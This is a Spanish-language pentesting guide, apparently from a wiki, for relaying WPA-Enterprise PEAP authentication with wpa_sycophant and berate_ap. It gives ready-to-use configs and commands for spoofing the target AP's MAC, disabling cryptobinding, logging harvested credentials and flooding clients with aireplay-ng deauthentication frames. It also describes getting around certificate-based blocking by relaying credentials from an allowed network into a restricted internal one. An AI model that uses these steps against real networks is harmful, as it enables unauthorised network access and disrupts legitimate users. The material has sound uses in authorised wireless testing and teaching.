Ataque de retransmisión / relay

Básicamente nuestro AP falso se encontrará en medio de la comunicación entre el cliente legítimo y el AP legítimo.

El flujo en concreto es el siguiente:

  1. Se levanta un punto de acceso falso.

  2. El cliente se conecta a nuestro AP falso y a su vez wpa_sycophant se conecta al AP real.

  3. El AP real manda un challenge.

  4. Nuestro AP falso se lo reenvía al cliente legítimo.

  5. El cliente legítimo genera una respuesta que envía a nuestro AP falso.

  6. Y esa respuesta se envía del AP falso al AP original.

  7. Como el challenge es legítimo, nos conectamos directamente a la red.

Relay attack

1

Cambio de la MAC

Se recomienda cambiar la MAC del equipo de ataque por la MAC del AP objetivo:

Cambio de MAC por la del AP objetivo

2

Edición de fichero de config

Se cambia solo el ssid y el bssid_blacklist. En el ssid se pone el nombre de la red objetivo y en bssid_blacklist se pone la MAC que tiene nuestro equipo (en este caso coincide con la MAC del AP objetivo).

vim wpa_sycophant.conf
network={
  ssid="mi-wifi-corp"
  # The SSID you would like to relay and authenticate against. 
  scan_ssid=1
  key_mgmt=WPA-EAP
  # Do not modify
  identity=""
  anonymous_identity=""
  password=""
  # This initialises the variables for me.
  # -------------
  eap=PEAP
  # Read https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf for help with phase1 options. 
  # This attempts to force the client not use cryptobinding. 
  phase1="peapver=1"
  phase2="auth=MSCHAPV2"
  # Dont want to connect back to ourselves,
  # so add your rogue BSSID here.
  bssid_blacklist=00:14:22:01:23:45
}
3

2 ventanas en paralelo

Las interfaces usadas para cada acción deben ser distintas, nunca la misma.

  1. Levantar el AP falso:

./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log <interfaz> lo mi-wifi-corp
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan0 lo mi-wifi-corp
file-certificate
  1. Se ejecuta wpa_sycophant en la otra ventana:

./wpa_sycophant.sh -c wpa_sycophant.conf -i wlan1
4

Recibir autenticación

Para recibir la autenticación se pueden hacer dos cosas:

  • Esperar a que se conecte un cliente.

  • Realizar un ataque de deautenticación:

aireplay-ng -0 0 wlan0 -a <BSSID> -c <STATION>
5

Obtener IP

dhclient wlan2 -v

Evasión de bloqueo de autenticación con certificado

Si en vez de autenticarse, en berate_ap se ve un error como "SSL: SSL3 alert: read (remote and reported an error):fatal:unknown CA", se puede usar desde berate_ap un nombre de red a la que sí podamos conectarnos (ej: mi-wifi-corp) y en wpa_sycophant el nombre de la red objetivo (ej: mi-wifi-internal), esto hará que nos autentiquemos en la primera red permitida y se reenvíen esas credenciales a la segunda red donde inicialmente no nos podíamos conectar, y que nos conectemos satisfactoriamente.

1

Cambio de la MAC

Se recomienda cambiar la MAC del equipo de ataque por la MAC del AP objetivo:

Cambio de MAC por la del AP objetivo

2

Edición de fichero de config

Se cambia solo el ssid y el bssid_blacklist. En el ssid se pone el nombre de la red objetivo y en bssid_blacklist se pone la MAC que tiene nuestro equipo (en este caso coincide con la MAC del AP objetivo).

vim wpa_sycophant.conf
network={
  ssid="mi-wifi-internal"
  # The SSID you would like to relay and authenticate against. 
  scan_ssid=1
  key_mgmt=WPA-EAP
  # Do not modify
  identity=""
  anonymous_identity=""
  password=""
  # This initialises the variables for me.
  # -------------
  eap=PEAP
  # Read https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf for help with phase1 options. 
  # This attempts to force the client not use cryptobinding. 
  phase1="peapver=1"
  phase2="auth=MSCHAPV2"
  # Dont want to connect back to ourselves,
  # so add your rogue BSSID here.
  bssid_blacklist=00:14:22:01:23:45
3

2 ventanas en paralelo

Las interfaces usadas para cada acción deben ser distintas, nunca la misma.

  1. Levantar el AP falso:

./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan0 lo mi-wifi-corp
file-certificate
  1. Se ejecuta wpa_sycophant en la otra ventana:

./wpa_sycophant.sh -c wpa_sycophant.conf -i wlan1
4

Recibir autenticación

Para recibir la autenticación se pueden hacer dos cosas:

  • Esperar a que se conecte un cliente.

  • Realizar un ataque de deautenticación. La deautenticación se realizará contra un cliente de la red a la que podemos conectarnos (ej: mi-wifi-corp), no de la red objetivo.

aireplay-ng -0 0 wlan0 -a <BSSID> -c <STATION>
5

Obtener IP

dhclient wlan2 -v

Última actualización